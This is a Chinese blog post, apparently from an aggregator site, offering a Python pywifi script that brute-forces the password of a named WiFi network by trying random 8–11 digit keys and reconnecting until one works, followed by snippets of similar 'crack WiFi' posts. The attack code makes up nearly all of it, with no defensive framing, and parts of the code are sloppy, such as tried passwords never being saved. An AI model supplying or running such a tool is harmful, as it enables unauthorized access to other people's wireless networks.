pywifi暴力破解WIFI

2021-08-30 14:08:23 字數 2699 閱讀 9967

注:在相同目錄下新建乙個janywifi.json檔案

隨機生成8-11位數字,生成過的數字存在janywifi.json檔案裡,不重複,斷點繼續

import time  #時間

import pywifi #破解wifi

from pywifi import const #引用一些定義

from asyncio.tasks import sleep

import random,json

class pojie():

def __init__(self,path):

self.file=open(path,"r",errors="ignore")

wifi = pywifi.pywifi() #抓取網絡卡介面

self.iface = wifi.inte***ces()[0]#抓取第乙個無限網絡卡

self.iface.disconnect() #測試鏈結斷開所有鏈結

time.sleep(1) #休眠1秒

#測試網絡卡是否屬於斷開狀態,

assert self.iface.status() in\

[const.iface_disconnected, const.iface_inactive]

def readpassword(self):

print("開始暴力破解")

while true:

auth = "" # 定義全域性驗證碼變數

rr = random.randint(8,11)

for i in range(0, rr): # 定義迴圈4次,形成4位驗證碼。

current = random.randint(0, 1) # 定義乙個隨機0-4的乙個範圍,去猜i 的值。

#if current == 1: # 如果current 和i 的值一樣

if 1:

current_code = random.randint(0, 9) # 生成乙個隨機的數字

else: # 如果current和i 的值不一樣

current_code = chr(random.randint(65, 90)) # 生成乙個隨機的字母,這裡一定要主義chr()轉換一下。

auth += str(current_code) # 將每次隨機生成的值賦值給auth

with open("janywifi.json", 'r', encoding="utf-8") as f:

mywifi = json.load(f)

f.close()

if auth in mywifi:

print("密碼重複")

continue

else:

with open("janywifi.json", "w", encoding="utf-8") as fc:

json.dump(mywifi, fc, ensure_ascii=false, indent=0)

fc.close()

try:

if not auth:

print("小本本裡沒密碼,退出了")

break

bool1=self.test_connect(auth)

if bool1:

print("嘗試成功第:%s次 "%(len(mywifi)),auth)

break

else:

print("嘗試失敗第:%s次 "%(len(mywifi)),auth)

sleep(3)

except:

continue

def test_connect(self,findstr):#測試鏈結

profile = pywifi.profile() #建立wifi鏈結檔案

profile.ssid ="tp-link_1401" #wifi名稱

profile.auth = const.auth_alg_open #網絡卡的開放,

profile.cipher = const.cipher_type_ccmp #加密單元

profile.key = findstr #密碼

self.iface.remove_all_network_profiles() #刪除所有的wifi檔案

tmp_profile = self.iface.add_network_profile(profile)#設定新的鏈結檔案

self.iface.connect(tmp_profile)#鏈結

time.sleep(5)

if self.iface.status() == const.iface_connected: #判斷是否連線上

isok=true

else:

isok=false

self.iface.disconnect() #斷開

time.sleep(1)

#檢查斷開狀態

assert self.iface.status() in\

[const.iface_disconnected, const.iface_inactive]

return isok

def __del__(self):

self.file.close()

path=r"csdnwifi.txt"

start=pojie(path)

start.readpassword()

暴力破解WIFI

import pywifi from pywifi import const import time 時間模組 1 匯入模組 2 抓取第乙個網絡卡介面 3 斷開wifi連線 4 從密碼本上讀取密碼 5 設定睡眠時間 3秒左右 名稱 wifi密碼 defwificonnect wifiname,wif...

Python 暴力破解wifi

思路 首先檢查是否擁有無限網絡卡 無線網絡卡是否連線到wifi 如果連線到wifi那麼需要斷開連線,因為一張網絡卡同一時間只能連線乙個wifi 搜尋附近的wifi確定連線的目標 使用字典開始嘗試自動連線 實列 首先安裝pywifi模組,這個模組專門用來處理wifi的資訊 pip install py...

Python暴力破解wifi

import pywifi from pywifi import const import time wifi pywifi.pywifi 抓取網絡卡介面 iface wifi.inte ces 0 抓取第乙個無線網絡卡 iface.disconnect 測試鏈結斷開所有鏈結 讀取密碼字典,進行匹配...